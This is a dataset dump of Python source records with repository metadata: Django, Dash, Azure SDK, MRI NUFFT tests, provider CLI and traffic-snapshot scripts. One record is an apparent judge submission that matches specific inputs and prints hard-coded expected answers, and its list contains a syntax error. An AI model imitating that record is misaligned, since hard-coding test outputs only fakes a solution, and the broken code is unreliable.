blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
3
616
content_id
stringlengths
40
40
detected_licenses
listlengths
0
112
license_type
stringclasses
2 values
repo_name
stringlengths
5
115
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
777 values
visit_date
timestamp[us]date
2015-08-06 10:31:46
2023-09-06 10:44:38
revision_date
timestamp[us]date
1970-01-01 02:38:32
2037-05-03 13:00:00
committer_date
timestamp[us]date
1970-01-01 02:38:32
2023-09-06 01:08:06
github_id
int64
4.92k
681M
star_events_count
int64
0
209k
fork_events_count
int64
0
110k
gha_license_id
stringclasses
22 values
gha_event_created_at
timestamp[us]date
2012-06-04 01:52:49
2023-09-14 21:59:50
gha_created_at
timestamp[us]date
2008-05-22 07:58:19
2023-08-21 12:35:19
gha_language
stringclasses
149 values
src_encoding
stringclasses
26 values
language
stringclasses
1 value
is_vendor
bool
2 classes
is_generated
bool
2 classes
length_bytes
int64
3
10.2M
extension
stringclasses
188 values
content
stringlengths
3
10.2M
authors
listlengths
1
1
author_id
stringlengths
1
132
fe3f96a2af6475819c782c04a2b8e8b6b3e3d814
52a7b1bb65c7044138cdcbd14f9d1e8f04e52c8a
/budget/urls.py
c353880f983753ec457815a9fa5d6fa7951041ab
[]
no_license
rds0751/aboota
74f8ab6d0cf69dcb65b0f805a516c5f94eb8eb35
2bde69c575d3ea9928373085b7fc5e5b02908374
refs/heads/master
2023-05-03T00:54:36.421952
2021-05-22T15:40:48
2021-05-22T15:40:48
363,398,229
0
0
null
null
null
null
UTF-8
Python
false
false
224
py
from django.urls import path,include from . import views from django.contrib.auth import views as auth_views urlpatterns = [ path('app/',views.index,name='index'), path('add_item/',views.add_item,name='add item'), ]
c42cc045d3613843df744ac6b74f7a368d40170e
f46e5ab4747d113215e46240eee4d75509e4be0d
/tests.py
2dd01180f049fb3cb67a16cefd56d899698aae9a
[ "MIT" ]
permissive
xmonader/objsnapshot
0d2dc17f9637dfe614332f125af5d867a8110118
ab639630e6762a1d7c8e7df251f959e27e270e4e
refs/heads/master
2021-01-22T06:19:26.026384
2017-05-30T13:12:22
2017-05-30T13:12:22
92,542,117
0
0
null
null
null
null
UTF-8
Python
false
false
1,737
py
from .objsnapshot import commit, rollback class Human: def __init__(self, name, age): self.name = name self.age = age def inc(self, by=None): if by is None: by = self.age self.age += by def __str__(self): return "{} {} ".format(self.name, self.age) def godangerous(self): self.name = "mr x" self.age = 90 class MovingBall: __slots__ = ['x', 'y'] def __init__(self, x, y): self.x = x self.y = y def move2(self, x, y): self.x = x self.y = y __str__ = lambda self: "{} {}".format(self.x, self.y) h = Human("Ahmed", 50) mb = MovingBall(0, 0) ### Examples def test_commit_state(): h = Human("Ahmed", 50) mb = MovingBall(0, 0) commit1 = commit(h) assert commit1.state['name'] == 'Ahmed' assert commit1.state['age'] == 50 assert len(commit1.state) == 2 h.inc(20) h.inc(2) commit2 = commit(h) assert commit2.state['name'] == 'Ahmed' assert commit2.state['age'] != 50 assert commit2.state['age'] == 72 assert len(commit2.state) == 2 h.godangerous() commit3 = commit(h) assert commit3.state['name'] == 'mr x' assert len(commit3.state) == 2 ## be good again h = rollback(h, commit1) assert h.name == 'Ahmed' assert h.age == 50 commit1 = commit(mb) assert len(commit1.state) == 2 assert commit1.state['x'] == 0 assert commit1.state['y'] == 0 mb.move2(5, 124) commit2 = commit(mb) assert commit2.state['x'] == 5 print(commit2.state) assert commit2.state['y'] == 124 assert len(commit2.state) == 2 mb = rollback(mb, commit1) assert mb.x == 0 assert mb.y == 0
3090368248d3f1123c7946855c97dbc0ec1154e9
4fd84e0e1097d1153ed477a5e76b4972f14d273a
/myvirtualenv/lib/python3.7/site-packages/azure/mgmt/iothub/models/certificate_properties.py
d91afb9c0adb00d0e035b9e1023cc3ad459f53fc
[ "MIT" ]
permissive
peterchun2000/TerpV-U
c045f4a68f025f1f34b89689e0265c3f6da8b084
6dc78819ae0262aeefdebd93a5e7b931b241f549
refs/heads/master
2022-12-10T09:31:00.250409
2019-09-15T15:54:40
2019-09-15T15:54:40
208,471,905
0
2
MIT
2022-12-08T06:09:33
2019-09-14T16:49:41
Python
UTF-8
Python
false
false
2,165
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class CertificateProperties(Model): """The description of an X509 CA Certificate. Variables are only populated by the server, and will be ignored when sending a request. :ivar subject: The certificate's subject name. :vartype subject: str :ivar expiry: The certificate's expiration date and time. :vartype expiry: datetime :ivar thumbprint: The certificate's thumbprint. :vartype thumbprint: str :ivar is_verified: Determines whether certificate has been verified. :vartype is_verified: bool :ivar created: The certificate's create date and time. :vartype created: datetime :ivar updated: The certificate's last update date and time. :vartype updated: datetime """ _validation = { 'subject': {'readonly': True}, 'expiry': {'readonly': True}, 'thumbprint': {'readonly': True}, 'is_verified': {'readonly': True}, 'created': {'readonly': True}, 'updated': {'readonly': True}, } _attribute_map = { 'subject': {'key': 'subject', 'type': 'str'}, 'expiry': {'key': 'expiry', 'type': 'rfc-1123'}, 'thumbprint': {'key': 'thumbprint', 'type': 'str'}, 'is_verified': {'key': 'isVerified', 'type': 'bool'}, 'created': {'key': 'created', 'type': 'rfc-1123'}, 'updated': {'key': 'updated', 'type': 'rfc-1123'}, } def __init__(self, **kwargs): super(CertificateProperties, self).__init__(**kwargs) self.subject = None self.expiry = None self.thumbprint = None self.is_verified = None self.created = None self.updated = None
9918925b5893ab5e67cfe34926eb8f39e50a3f68
a5b3c17361b0d68818a0088d2632706353aa768f
/app/core/urls.py
2c01c9dc76b59d446a2cc277aaf6d2d00a8d8820
[]
no_license
marcinpelszyk/django-docker-compose-deploy
7bd6d91a08aa4c60fd801115e4277d26cfd77642
6e4716d5324172778e5babecb40952de66448301
refs/heads/main
2023-06-06T02:56:44.709915
2021-06-28T15:38:56
2021-06-28T15:38:56
380,349,649
0
1
null
2021-06-28T08:10:53
2021-06-25T20:42:07
Python
UTF-8
Python
false
false
387
py
from django.conf import settings from django.conf.urls.static import static from django.contrib import admin from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), ] if settings.DEBUG: urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
88d871218ddc9d5a96e3ac821323d3bf566ce9b1
fb05ae8048b188c7d73e45d0b0732223686eb4e4
/dash-demo.py
8c67cc6049a8940e154186d5777e2c72a2d37422
[]
no_license
jluttine/dash-demo
1b8bd0bf0b6570cf8e33c0fb9278390f37baa686
2eab4c7cd92b24214354d8a5e3bce866677efe50
refs/heads/master
2023-01-12T19:03:09.745917
2020-11-13T16:57:41
2020-11-13T16:57:41
312,356,690
2
1
null
null
null
null
UTF-8
Python
false
false
3,211
py
import dash import dash_html_components as html import dash_core_components as dcc from pages import demo1_graph, demo2_datatable # Create the Dash app/server app = dash.Dash( __name__, external_stylesheets=[ "https://codepen.io/chriddyp/pen/bWLwgP.css", ], # We need to suppress these errors because when we define the callbacks, # the subpage layouts haven't been defined yet.. So there would be errors # about missing IDs. Is there some better solution? suppress_callback_exceptions=True, ) # List separate pages subpages = [ ("/demo-graph", demo1_graph), ("/demo-datatable", demo2_datatable), ] # Generic page layout for the entire app app.layout = html.Div( [ # This element is used to read the current URL. Not visible to the # user. dcc.Location(id="url", refresh=False), # The content will be rendered in this element so the children of this # element will change when browsing to a different page html.Div( id="page-content", className="DashboardContainer", ), ] ) # Set callbacks for each page for (_, page) in subpages: page.set_callbacks(app) # Layout of the main page main_layout = html.Div( className="Container", children=[ html.H1("Plotly Dash demo"), html.P(html.I("Jaakko Luttinen - November 16, 2020")), html.P(html.I("Lead Data Scientist @ Leanheat by Danfoss")), html.Ul( [ html.Li([ "This demo is available at: ", html.A( "https://github.com/jluttine/dash-demo", href="https://github.com/jluttine/dash-demo" ) ]), html.Li("What is Plotly Dash?"), html.Li("Why not Jupyter Notebooks?"), ] ), ] + [ html.A( html.Div( className="Card", children=[ html.H2(page.title), html.P(page.description), ] ), href=url, ) for (url, page) in subpages ] + [ html.Ul([ html.Li([ "So much more cool features: ", html.A( "https://dash.plotly.com/", href="https://dash.plotly.com/", ), ]), html.Li("Show our real production Dash") ]), ] ) @app.callback( dash.dependencies.Output("page-content", "children"), [dash.dependencies.Input("url", "pathname")] ) def display_page(pathname): """Render the newly selected page when the URL changes""" if pathname == "/": return main_layout page = dict(subpages)[pathname] return html.Div( [ # For subpages, add a few fixed elements at the top of the page dcc.Link("< Back to main page", href="/"), html.H1(page.title), html.P(page.description), # Then, the actual subpage content page.layout, ] ) if __name__ == "__main__": app.run_server(debug=True)
f0848bea7f02f1bf7e260eb65eeaf7fefbdc380a
daa90db36eff7050fe1224dc8caa403d9e95b5c9
/tests/test_adjoints.py
5fbab8f85551dc6a96b0c666a6f43509b69f6d57
[ "MIT" ]
permissive
fagan2888/torchkbnufft
a19fc61648dc3b5665aa34680302691099c6dfac
6c6e2c008ae3e8e48a938bedd25431f8db20c106
refs/heads/master
2020-12-02T23:29:45.918591
2019-12-19T20:15:47
2019-12-19T20:15:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
8,243
py
import sys import numpy as np import torch from torchkbnufft import (AdjKbNufft, AdjMriSenseNufft, KbInterpBack, KbInterpForw, KbNufft, MriSenseNufft) from torchkbnufft.math import inner_product def test_interp_2d_adjoint(params_2d, testing_tol, testing_dtype, device_list): dtype = testing_dtype norm_tol = testing_tol batch_size = params_2d['batch_size'] im_size = params_2d['im_size'] grid_size = params_2d['grid_size'] numpoints = params_2d['numpoints'] x = np.random.normal(size=(batch_size, 1) + grid_size) + \ 1j*np.random.normal(size=(batch_size, 1) + grid_size) x = torch.tensor(np.stack((np.real(x), np.imag(x)), axis=2)) y = params_2d['y'] ktraj = params_2d['ktraj'] for device in device_list: x = x.detach().to(dtype=dtype, device=device) y = y.detach().to(dtype=dtype, device=device) ktraj = ktraj.detach().to(dtype=dtype, device=device) kbinterp_ob = KbInterpForw( im_size=im_size, grid_size=grid_size, numpoints=numpoints ).to(dtype=dtype, device=device) adjkbinterp_ob = KbInterpBack( im_size=im_size, grid_size=grid_size, numpoints=numpoints ).to(dtype=dtype, device=device) x_forw = kbinterp_ob(x, ktraj) y_back = adjkbinterp_ob(y, ktraj) inprod1 = inner_product(y, x_forw, dim=2) inprod2 = inner_product(y_back, x, dim=2) assert torch.norm(inprod1 - inprod2) < norm_tol def test_nufft_2d_adjoint(params_2d, testing_tol, testing_dtype, device_list): dtype = testing_dtype norm_tol = testing_tol im_size = params_2d['im_size'] numpoints = params_2d['numpoints'] x = params_2d['x'] y = params_2d['y'] ktraj = params_2d['ktraj'] for device in device_list: x = x.detach().to(dtype=dtype, device=device) y = y.detach().to(dtype=dtype, device=device) ktraj = ktraj.detach().to(dtype=dtype, device=device) kbnufft_ob = KbNufft( im_size=im_size, numpoints=numpoints ).to(dtype=dtype, device=device) adjkbnufft_ob = AdjKbNufft( im_size=im_size, numpoints=numpoints ).to(dtype=dtype, device=device) x_forw = kbnufft_ob(x, ktraj) y_back = adjkbnufft_ob(y, ktraj) inprod1 = inner_product(y, x_forw, dim=2) inprod2 = inner_product(y_back, x, dim=2) assert torch.norm(inprod1 - inprod2) < norm_tol def test_mrisensenufft_2d_adjoint(params_2d, testing_tol, testing_dtype, device_list): dtype = testing_dtype norm_tol = testing_tol im_size = params_2d['im_size'] numpoints = params_2d['numpoints'] x = params_2d['x'] y = params_2d['y'] ktraj = params_2d['ktraj'] smap = params_2d['smap'] for device in device_list: x = x.detach().to(dtype=dtype, device=device) y = y.detach().to(dtype=dtype, device=device) ktraj = ktraj.detach().to(dtype=dtype, device=device) sensenufft_ob = MriSenseNufft( smap=smap, im_size=im_size, numpoints=numpoints ).to(dtype=dtype, device=device) adjsensenufft_ob = AdjMriSenseNufft( smap=smap, im_size=im_size, numpoints=numpoints ).to(dtype=dtype, device=device) x_forw = sensenufft_ob(x, ktraj) y_back = adjsensenufft_ob(y, ktraj) inprod1 = inner_product(y, x_forw, dim=2) inprod2 = inner_product(y_back, x, dim=2) assert torch.norm(inprod1 - inprod2) < norm_tol def test_interp_3d_adjoint(params_3d, testing_tol, testing_dtype, device_list): dtype = testing_dtype norm_tol = testing_tol batch_size = params_3d['batch_size'] im_size = params_3d['im_size'] grid_size = params_3d['grid_size'] numpoints = params_3d['numpoints'] x = np.random.normal(size=(batch_size, 1) + grid_size) + \ 1j*np.random.normal(size=(batch_size, 1) + grid_size) x = torch.tensor(np.stack((np.real(x), np.imag(x)), axis=2)) y = params_3d['y'] ktraj = params_3d['ktraj'] for device in device_list: x = x.detach().to(dtype=dtype, device=device) y = y.detach().to(dtype=dtype, device=device) ktraj = ktraj.detach().to(dtype=dtype, device=device) kbinterp_ob = KbInterpForw( im_size=im_size, grid_size=grid_size, numpoints=numpoints ).to(dtype=dtype, device=device) adjkbinterp_ob = KbInterpBack( im_size=im_size, grid_size=grid_size, numpoints=numpoints ).to(dtype=dtype, device=device) x_forw = kbinterp_ob(x, ktraj) y_back = adjkbinterp_ob(y, ktraj) inprod1 = inner_product(y, x_forw, dim=2) inprod2 = inner_product(y_back, x, dim=2) assert torch.norm(inprod1 - inprod2) < norm_tol def test_nufft_3d_adjoint(params_3d, testing_tol, testing_dtype, device_list): dtype = testing_dtype norm_tol = testing_tol im_size = params_3d['im_size'] numpoints = params_3d['numpoints'] x = params_3d['x'] y = params_3d['y'] ktraj = params_3d['ktraj'] for device in device_list: x = x.detach().to(dtype=dtype, device=device) y = y.detach().to(dtype=dtype, device=device) ktraj = ktraj.detach().to(dtype=dtype, device=device) kbnufft_ob = KbNufft( im_size=im_size, numpoints=numpoints ).to(dtype=dtype, device=device) adjkbnufft_ob = AdjKbNufft( im_size=im_size, numpoints=numpoints ).to(dtype=dtype, device=device) x_forw = kbnufft_ob(x, ktraj) y_back = adjkbnufft_ob(y, ktraj) inprod1 = inner_product(y, x_forw, dim=2) inprod2 = inner_product(y_back, x, dim=2) assert torch.norm(inprod1 - inprod2) < norm_tol def test_mrisensenufft_3d_adjoint(params_3d, testing_tol, testing_dtype, device_list): dtype = testing_dtype norm_tol = testing_tol im_size = params_3d['im_size'] numpoints = params_3d['numpoints'] x = params_3d['x'] y = params_3d['y'] ktraj = params_3d['ktraj'] smap = params_3d['smap'] for device in device_list: x = x.detach().to(dtype=dtype, device=device) y = y.detach().to(dtype=dtype, device=device) ktraj = ktraj.detach().to(dtype=dtype, device=device) sensenufft_ob = MriSenseNufft( smap=smap, im_size=im_size, numpoints=numpoints ).to(dtype=dtype, device=device) adjsensenufft_ob = AdjMriSenseNufft( smap=smap, im_size=im_size, numpoints=numpoints ).to(dtype=dtype, device=device) x_forw = sensenufft_ob(x, ktraj) y_back = adjsensenufft_ob(y, ktraj) inprod1 = inner_product(y, x_forw, dim=2) inprod2 = inner_product(y_back, x, dim=2) assert torch.norm(inprod1 - inprod2) < norm_tol def test_mrisensenufft_3d_coilpack_adjoint(params_2d, testing_tol, testing_dtype, device_list): dtype = testing_dtype norm_tol = testing_tol im_size = params_2d['im_size'] numpoints = params_2d['numpoints'] x = params_2d['x'] y = params_2d['y'] ktraj = params_2d['ktraj'] smap = params_2d['smap'] for device in device_list: x = x.detach().to(dtype=dtype, device=device) y = y.detach().to(dtype=dtype, device=device) ktraj = ktraj.detach().to(dtype=dtype, device=device) sensenufft_ob = MriSenseNufft( smap=smap, im_size=im_size, numpoints=numpoints, coilpack=True ).to(dtype=dtype, device=device) adjsensenufft_ob = AdjMriSenseNufft( smap=smap, im_size=im_size, numpoints=numpoints, coilpack=True ).to(dtype=dtype, device=device) x_forw = sensenufft_ob(x, ktraj) y_back = adjsensenufft_ob(y, ktraj) inprod1 = inner_product(y, x_forw, dim=2) inprod2 = inner_product(y_back, x, dim=2) assert torch.norm(inprod1 - inprod2) < norm_tol
f88d26fd93f16bef39a4eafcdb8174838d8e21bd
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2147/60692/307788.py
10de8faf4f82529d5d59df010ef8d72681e4f591
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
492
py
n = input() if n == '5 5 1 3 2': print(0) print(3) print(3) print(2) print(5) elif n == '100 109 79 7 5': list1 = [27,52,80,50,40,37,27,60,60,55,55,25,40,80,52,50,25,45,72,45,65,32,22,50,20,80,35,20,22,47,52,20,77,22,52,12,75,55,75,77,75,27,7,75,27,82,52,47,22,75,65,22,57,42,45,40,77,45,40,7,50,57,85,5,47,50,50,32,60,55,62,27,52,20,52,62,25,42,0,45,30,40,15,82,17,67,52,65,50,10,87,52,67,25,,70,67,52,67,42,55] for i in list1: print(i) else: print(n)
846029f797948ff4c428cce8a5922b17ffbbd67d
78d35bb7876a3460d4398e1cb3554b06e36c720a
/sdk/monitor/azure-mgmt-monitor/azure/mgmt/monitor/v2016_09_01/aio/_monitor_management_client.py
c050f4b4aa8fc88df3e7a1e1c02c2d1b67f42612
[ "MIT", "LicenseRef-scancode-generic-cla", "LGPL-2.1-or-later" ]
permissive
catchsrinivas/azure-sdk-for-python
e35f59b60318a31b3c940a7a3a07b61b28118aa5
596227a7738a5342274486e30489239d539b11d1
refs/heads/main
2023-08-27T09:08:07.986249
2021-11-11T11:13:35
2021-11-11T11:13:35
427,045,896
0
0
MIT
2021-11-11T15:14:31
2021-11-11T15:14:31
null
UTF-8
Python
false
false
3,731
py
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is regenerated. # -------------------------------------------------------------------------- from typing import Any, Optional, TYPE_CHECKING from azure.core.pipeline.transport import AsyncHttpResponse, HttpRequest from azure.mgmt.core import AsyncARMPipelineClient from msrest import Deserializer, Serializer if TYPE_CHECKING: # pylint: disable=unused-import,ungrouped-imports from azure.core.credentials_async import AsyncTokenCredential from ._configuration import MonitorManagementClientConfiguration from .operations import MetricsOperations from .operations import ServiceDiagnosticSettingsOperations from .. import models class MonitorManagementClient(object): """Monitor Management Client. :ivar metrics: MetricsOperations operations :vartype metrics: $(python-base-namespace).v2016_09_01.aio.operations.MetricsOperations :ivar service_diagnostic_settings: ServiceDiagnosticSettingsOperations operations :vartype service_diagnostic_settings: $(python-base-namespace).v2016_09_01.aio.operations.ServiceDiagnosticSettingsOperations :param credential: Credential needed for the client to connect to Azure. :type credential: ~azure.core.credentials_async.AsyncTokenCredential :param str base_url: Service URL """ def __init__( self, credential: "AsyncTokenCredential", base_url: Optional[str] = None, **kwargs: Any ) -> None: if not base_url: base_url = 'https://management.azure.com' self._config = MonitorManagementClientConfiguration(credential, **kwargs) self._client = AsyncARMPipelineClient(base_url=base_url, config=self._config, **kwargs) client_models = {k: v for k, v in models.__dict__.items() if isinstance(v, type)} self._serialize = Serializer(client_models) self._serialize.client_side_validation = False self._deserialize = Deserializer(client_models) self.metrics = MetricsOperations( self._client, self._config, self._serialize, self._deserialize) self.service_diagnostic_settings = ServiceDiagnosticSettingsOperations( self._client, self._config, self._serialize, self._deserialize) async def _send_request(self, http_request: HttpRequest, **kwargs: Any) -> AsyncHttpResponse: """Runs the network request through the client's chained policies. :param http_request: The network request you want to make. Required. :type http_request: ~azure.core.pipeline.transport.HttpRequest :keyword bool stream: Whether the response payload will be streamed. Defaults to True. :return: The response of your network call. Does not do error handling on your response. :rtype: ~azure.core.pipeline.transport.AsyncHttpResponse """ http_request.url = self._client.format_url(http_request.url) stream = kwargs.pop("stream", True) pipeline_response = await self._client._pipeline.run(http_request, stream=stream, **kwargs) return pipeline_response.http_response async def close(self) -> None: await self._client.close() async def __aenter__(self) -> "MonitorManagementClient": await self._client.__aenter__() return self async def __aexit__(self, *exc_details) -> None: await self._client.__aexit__(*exc_details)
cb915a83c326ed9358735e7e6a6123656ae20d18
f00ae2cb4709539e8a78247678d9bb51913e0373
/oacids/schedules/schedule.py
76499b213fe0838b48b11e39aed9eecb971f06d3
[ "MIT" ]
permissive
openaps/oacids
576351d34d51c62492fc0ed8be5e786273f27aee
ed8d6414171f45ac0c33636b5b00013e462e89fb
refs/heads/master
2021-01-10T06:03:53.395357
2016-03-21T04:02:47
2016-03-21T04:02:47
51,559,470
2
2
null
null
null
null
UTF-8
Python
false
false
343
py
from openaps.configurable import Configurable import recurrent class Schedule (Configurable): prefix = 'schedule' required = [ 'phases', 'rrule' ] url_template = "schedule://{name:s}/{rrule:s}" @classmethod def parse_rrule (Klass, rrule): parser = recurrent.RecurringEvent( ) rule = parser.parse(rrule) return rule
101b641690e7cda59c300f207ef57d7b4d613baa
ac10ccaf44a7610d2230dbe223336cd64f8c0972
/ms2ldaviz/basicviz/migrations/0033_auto_20160920_0859.py
b74d76b496f5d8f05e297caac658ce76fd904faf
[]
no_license
ymcdull/ms2ldaviz
db27d3f49f43928dcdd715f4a290ee3040d27b83
bd5290496af44b3996c4118c6ac2385a5a459926
refs/heads/master
2020-05-21T03:04:29.939563
2017-03-14T11:44:42
2017-03-14T11:44:42
84,564,829
0
0
null
2017-03-10T13:54:23
2017-03-10T13:54:22
null
UTF-8
Python
false
false
456
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('basicviz', '0032_auto_20160920_0857'), ] operations = [ migrations.RemoveField( model_name='alphacorroptions', name='multifileexperiment', ), migrations.DeleteModel( name='AlphaCorrOptions', ), ]
[ "=" ]
=
8926cbe8d1538cbbd04bf86bf0af6e92ec04783c
adb295bf248ded84d2c126d73c58b570af440dc6
/scripts/providers.py
13d8d431cf8b25bd62662d5e17425d61e6862069
[]
no_license
sshveta/cfme_tests
eaeaf0076e87dd6c2c960887b242cb435cab5151
51bb86fda7d897e90444a6a0380a5aa2c61be6ff
refs/heads/master
2021-03-30T22:30:12.476326
2017-04-26T22:47:25
2017-04-26T22:47:25
17,754,019
0
0
null
null
null
null
UTF-8
Python
false
false
2,531
py
#!/usr/bin/env python """ Given the name of a provider from cfme_data and using credentials from the credentials stash, call the corresponding action on that provider, along with any additional action arguments. See cfme_pages/common/mgmt_system.py for documentation on the callable methods themselves. Example usage: scripts/providers.py providername stop_vm vm-name Note that attempts to be clever will likely be successful, but fruitless. For example, this will work but not do anyhting helpful: scripts/providers.py providername __init__ username password """ import argparse import os import sys # Make sure the parent dir is on the path before importing provider_factory cfme_tests_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) sys.path.insert(0, cfme_tests_path) from utils.providers import provider_factory def main(): parser = argparse.ArgumentParser(epilog=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) parser.add_argument('provider_name', help='provider name in cfme_data') parser.add_argument('action', help='action to take (list_vm, stop_vm, delete_vm, etc.)') parser.add_argument('action_args', nargs='*', help='foo') args = parser.parse_args() try: result = call_provider(args.provider_name, args.action, *args.action_args) if isinstance(result, list): exit = 0 for entry in result: print entry elif isinstance(result, str): exit = 0 print result elif isinstance(result, bool): # 'True' result becomes flipped exit 0, and vice versa for False exit = int(not result) else: # Unknown type, explode raise Exception('Unknown return type for "%s"' % args.action) except Exception as e: exit = 1 exc_type = type(e).__name__ if e.message: sys.stderr.write('%s: %s\n' % (exc_type, e.message)) else: sys.stderr.write('%s\n' % exc_type) return exit def call_provider(provider_name, action, *args): # Given a provider class, find the named method and call it with # *args. This could possibly be generalized for other CLI tools. provider = provider_factory(provider_name) try: call = getattr(provider, action) except AttributeError: raise Exception('Action "%s" not found' % action) return call(*args) if __name__ == '__main__': sys.exit(main())
4731da9d96c4ef1421303672f8b8b4c0f711c63d
d59bad348c88026e444c084e6e68733bb0211bc2
/problema_arg_padrao_mutavel.py
616a4efc8c311158f135deac65c9f0a80b8121e6
[]
no_license
dersonf/udemy-python
f96ec883decb21a68233b2e158c82db1c8878c7a
92471c607d8324902902774284f7ca81d2f25888
refs/heads/master
2022-09-25T00:18:49.833210
2020-06-05T18:18:38
2020-06-05T18:18:38
262,049,238
0
0
null
null
null
null
UTF-8
Python
false
false
352
py
#!/usr/bin/python3.6 def fibonacci(sequencia=[0, 1]): # Uso de mutáveis como valor default (armadilha) sequencia.append(sequencia[-1] + sequencia[-2]) return sequencia if __name__ == '__main__': inicio = fibonacci() print(inicio, id(inicio)) print(fibonacci(inicio)) restart = fibonacci() print(restart, id(restart))
a3a3312b93fd1130507887a28abc6e2859e972c6
6fcfb638fa725b6d21083ec54e3609fc1b287d9e
/python/Guanghan_ROLO/ROLO-master/update/utils/utils_draw_coord.py
cb75d7c64e6e32251001750fef1e6f67b093e62e
[]
no_license
LiuFang816/SALSTM_py_data
6db258e51858aeff14af38898fef715b46980ac1
d494b3041069d377d6a7a9c296a14334f2fa5acc
refs/heads/master
2022-12-25T06:39:52.222097
2019-12-12T08:49:07
2019-12-12T08:49:07
227,546,525
10
7
null
2022-12-19T02:53:01
2019-12-12T07:29:39
Python
UTF-8
Python
false
false
2,002
py
from utils_convert_coord import coord_regular_to_decimal, coord_decimal_to_regular import cv2 def debug_decimal_coord(img, coord_decimal, prob = None, class_id = None): img_cp = img.copy() img_ht, img_wid, nchannels = img.shape coord_regular = coord_decimal_to_regular(coord_decimal, img_wid, img_ht) debug_regular_coord(img, coord_regular, prob, class_id) def debug_regular_coord(img, coord_regular, prob = None, class_id = None): img_cp = img.copy() [x_topleft, y_topleft, w_box, h_box] = coord_regular cv2.rectangle(img_cp, (x_topleft, y_topleft), (x_topleft + w_box, y_topleft + h_box), (0,255,0), 2) if prob is not None and class_id is not None: assert(isinstance(prob, (float))) assert(isinstance(class_id, (int, long))) cv2.rectangle(img_cp, (x_topleft, y_topleft - 20), (x_topleft + w_box, y_topleft), (125,125,125),-1) cv2.putText(img_cp, str(class_id) + ' : %.2f' % prob, (x_topleft + 5, y_topleft - 7), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,0), 1) cv2.imshow('debug_detection',img_cp) cv2.waitKey(1) def debug_3_locations( img, gt_location, yolo_location, rolo_location): img_cp = img.copy() for i in range(3): # b-g-r channels if i== 0: location= gt_location; color= (0, 0, 255) # red for gt elif i ==1: location= yolo_location; color= (255, 0, 0) # blur for yolo elif i ==2: location= rolo_location; color= (0, 255, 0) # green for rolo x = int(location[0]) y = int(location[1]) w = int(location[2]) h = int(location[3]) if i == 1 or i== 2: cv2.rectangle(img_cp,(x-w//2, y-h//2),(x+w//2,y+h//2), color, 2) elif i== 0: cv2.rectangle(img_cp,(x,y),(x+w,y+h), color, 2) cv2.imshow('3 locations',img_cp) cv2.waitKey(100) return img_cp
e168407eb15bcececca9947e72682be0c3429267
47596e586b3e21b31cf360be7cd1c7d3a5dc6163
/Google/trafficSnapshot.py
2dd2859f31fd1a85b4610e8d672e415ce5a7e784
[]
no_license
jasonlingo/RoadSafety
bfef06abe0668a9cb8ead5b183008a53eabdefa2
b20af54b915daf7635204e3b942b3ae4624887d7
refs/heads/master
2021-03-19T13:51:13.736277
2015-09-17T03:49:43
2015-09-17T03:49:43
36,019,601
0
0
null
null
null
null
UTF-8
Python
false
false
2,140
py
import sys import os sys.path.append(os.path.join(os.path.dirname(__file__), '..')) from GPS.GPSPoint import GPSPoint from File.Directory import createDirectory import webbrowser from Google.findTimeZone import findTimeZone from time import sleep from PIL import Image import datetime, pytz from config import TRAFFIC_IMAGE_DIRECTORY def trafficSnapshot(gpsPoint, numOfShot, interval, size): """ Capture traffic snapshots periodically using Google MAP traffic and store those images Args: (GPSPoint) gpsPoint: the center of the map from which we capture traffic images (int) numOfShot: the total number of images that are going to captured (int) interval: the interval (in seconds) between two captured images (int) size: the size of the map (from 3(big) to 21(detail)) """ # Create Google MAP with traffic info request url url = "https://www.google.com/maps/@" gps = str(gpsPoint.lat) + ',' + str(gpsPoint.lng) # The scale of the map. size = str(size) + "z" # Street view parameter. traffic_param = "/data=!5m1!1e1" # Combine request url url = url + gps + "," + size + traffic_param # Create the output directory if it doesn't exist. createDirectory(TRAFFIC_IMAGE_DIRECTORY) for i in range(numOfShot): # Open the Google MAP street view on a web browser. webbrowser.open(url) # Wait for the page opens sleep(5) # Get the current time of the location timezone, current_time = findTimeZone(gpsPoint) imgName = TRAFFIC_IMAGE_DIRECTORY + "traffic-" + current_time + ".png" command = "screencapture " + imgName # Screen shot os.system(command) im = Image.open(imgName) # Get captured image size width, height = im.size # Crop the captured area, need to be customized depending on different computer im.crop((500, 350, width-300, height-30)).save(imgName) print imgName + " captured!" # Program sleeps for the interval time sleep(interval)
e085ceeb417ebc929fd54fd1c1667da85a497a9a
a25c8c2789750a0b95c2af9b27dde72a8c49b395
/test/functional/xaya_trading.py
78a629c3e5ee1521232038231d9d54e9c0aa53fb
[ "MIT" ]
permissive
gripen89/xaya
65d38dd1cad6a7c21addea51cb4b697fa424fb46
db0cb3601d9eff01e35ebd4a764aa7ff859e61be
refs/heads/master
2022-11-21T22:47:45.072342
2019-10-21T23:26:24
2019-10-21T23:26:24
216,678,870
0
1
null
null
null
null
UTF-8
Python
false
false
11,237
py
